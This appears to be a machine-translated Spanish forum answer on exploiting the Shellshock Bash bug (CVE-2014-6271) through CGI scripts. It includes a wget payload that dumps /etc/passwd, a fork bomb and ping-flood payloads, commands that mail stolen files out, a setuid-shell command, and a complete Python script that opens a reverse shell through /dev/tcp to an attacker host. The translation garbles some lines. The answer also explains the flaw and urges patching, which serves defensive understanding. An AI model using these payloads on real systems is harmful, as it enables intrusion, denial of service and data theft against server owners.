¿Cuál es un ejemplo específico de cómo podría explotarse el error Shellshock Bash?

Un ejemplo muy simple sería un cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Luego llámalo con wget para intercambiar la cadena de User Agent. P.ej. Esto mostrará el contenido de / etc / passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

Para descomponerlo:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Parece que:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

El problema, según entiendo, es que si bien está bien definir una función en una variable de entorno, se supone que bash no ejecuta el código después.

El "tipo de contenido:" adicional es solo para ilustración. Previene el error 500 y muestra el contenido del archivo.

El ejemplo anterior también muestra que no se trata de un problema de errores de programación, incluso los bash cgi normalmente seguros e inofensivos que ni siquiera aceptan la entrada del usuario pueden ser explotados.

Con el acceso a bash, incluso desde el punto de vista de un usuario web, las opciones son infinitas. Por ejemplo, aquí hay una bomba de horquilla:

() { :; }; :(){ :|: & };:

Simplemente coloque eso en una cadena de agente de usuario en un navegador, vaya a su página web y haga un DoS instantáneo en su servidor web.

O, alguien podría usar tu servidor como un robot de ataque:

() { :; }; ping -s 1000000 <victim IP>

Pon eso en otros servidores y estás hablando de ancho de banda real.

Otros vectores de ataque:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" [email protected]
() { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

Hay infinitas posibilidades: invertir shells, ejecutar servidores en puertos, descargar automáticamente algunos rootkits para pasar de un usuario web a otro. ¡Es una cáscara! Puede hacer cualquier cosa. En lo que respecta a los desastres de seguridad, esto es incluso peor que Heartbleed.

La parte importante es que parcheas tu sistema. AHORA! Si todavía tienes servidores externos que aún no están parchados, ¡¿qué estás haciendo aún leyendo esto ?!

Los piratas informáticos ya están haciendo estas cosas arriba, ¡y ni siquiera lo sabes!

No son solo servidores; El software cliente también puede verse afectado. Aquí hay un ejemplo de de un cliente DHCP vulnerable . Si una máquina tiene un cliente tan vulnerable (y bash roto), cualquier máquina en la subred puede enviar respuestas DHCP mal formadas y obtener privilegios de raíz.

Dado el uso generalizado de variables de entorno para compartir el estado entre los procesos en Unix y la cantidad de software potencialmente involucrado, la superficie de ataque es muy grande. No piense que su máquina es segura porque no ejecuta un servidor web. La única solución es parchearse a bash, considerar cambiar a un shell predeterminado menos complejo (como un guión) y esperar que no haya muchas más vulnerabilidades similares por ahí.

No es necesario que uses bash explícitamente para que esto sea un problema. El problema real es permitir que los atacantes tengan voz en el valor de las variables de entorno. Una vez que se establece el entorno, solo es cuestión de tiempo antes de que se ejecute un shell (quizás desconocido para usted) con un entorno para el que no estaba preparado.

Cada programa (bash, java, tcl, php, ...) tiene esta firma:

int main(int argc, char** argv, char** arge);

Los desarrolladores tienen la costumbre de verificar argc y argv para la limpieza. La mayoría ignorará arge y no intentará validarlo antes de generar subshells (explícita o implícitamente). Y en este caso, bash no se está defendiendo correctamente de una entrada incorrecta. Para conectar una aplicación, se generan subprocesos. En el fondo, algo como esto sucede:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

En su propio código, puede que no haya referencias a bash. Pero tal vez lanzas tcl, y algo dentro del código tcl se lanza bash para ti. Heredaría las variables de entorno que están configuradas actualmente.

En el caso de la versión vulnerable de bash, algo como esto está sucediendo:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

Donde parseEnvironment ve un montón de definiciones de variables de entorno que no necesariamente reconoce. Pero supondrá que algunas de estas variables de entorno son definiciones de funciones:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash no tiene idea de lo que es un HTTP_COOKIE. Pero comienza con (), así que bash adivina que esta es una definición de función. También le permite agregar algunos códigos ejecutados inmediatamente después de la definición de la función, porque quizás necesite inicializar algunos efectos secundarios con la definición de la función. El parche elimina la capacidad de agregar efectos secundarios después de la definición de la función.

¡Pero la idea general de que una variable de entorno puede permanecer inactiva con la definición de la función suministrada por el atacante sigue siendo muy inquietante!

recieve='() { echo you meant receive lol; }'

Si el atacante puede hacer que este nombre de variable obtenga un valor que proporcionó, y también sabe que puede esperar a que un subproceso de bash intente invocar una función con ese nombre, entonces este sería otro vector de ataque.

Esta es solo la vieja advertencia para validar sus entradas . Como los shells se pueden generar como un detalle de implementación sorprendente, nunca establece una variable de entorno en un valor que no esté ajustado validado. Eso significa que cualquier programa posible que lea esta variable de entorno no hará algo inesperado con el valor; como ejecutarlo como codigo.

Hoy es bash. Mañana es java, sh, tcl, o nodo. Todos ellos tienen un indicador de entorno en su función principal; y todos ellos tienen limitaciones diferentes sobre lo que manejarán de manera segura (hasta que estén parcheados).

Aquí hay un ejemplo a través de un script CGI para un ataque remoto, no probado, tomado de enlace

Como todas las hazañas, se basa en las circunstancias. Se conecta a un archivo cgi remoto en el servidor web e inicia una shell inversa

() {ignorado;}; / bin / bash -i > & / dev / tcp /% s 0 > & 1 "% sys.argv [3]

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data